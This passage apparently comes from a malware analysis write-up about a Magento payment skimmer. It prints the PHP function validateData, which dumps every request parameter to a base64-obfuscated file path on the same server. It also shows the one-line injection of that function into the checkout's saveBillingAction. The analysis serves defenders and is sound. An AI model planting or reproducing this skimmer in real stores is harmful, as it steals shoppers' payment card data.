Skimmer Functions

Unlike the first validateData post, this variant doesn’t exfiltrate the stolen payment data to a third party location.

    private function validateData()
    {
        try {
            file_put_contents(base64_decode("L2hvbWUvbm9wZS9wdWJsaWNfaHRtbC9tZWRpYS9ob21lL2JhYnkudG1w"), base64_encode(print_r($_REQUEST, 1)) . PHP_EOL, FILE_APPEND | LOCK_EX);
        } catch(Exception $e){
        }
    }

Instead it uses file_put_contents and print_r to write the skimmed POST payment data to a specified file on the same web server:

/home/nope/public_html/media/home/baby.tmp

The malicious function validateData is injected into the “Onepage” payment process flow by injecting $this->validateData(); into the process saveBillingAction code to load it:

    /**
     * Save checkout billing address
     */
    public function saveBillingAction()
    {
        if ($this->_expireAjax()) {
            return;
        }

        if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
            return;
        }

        $this->validateData(); //this loads the validateData skimmer function in the payment process flow

        if ($this->getRequest()->isPost()) {
            $data = $this->getRequest()->getPost('billing', array());
...
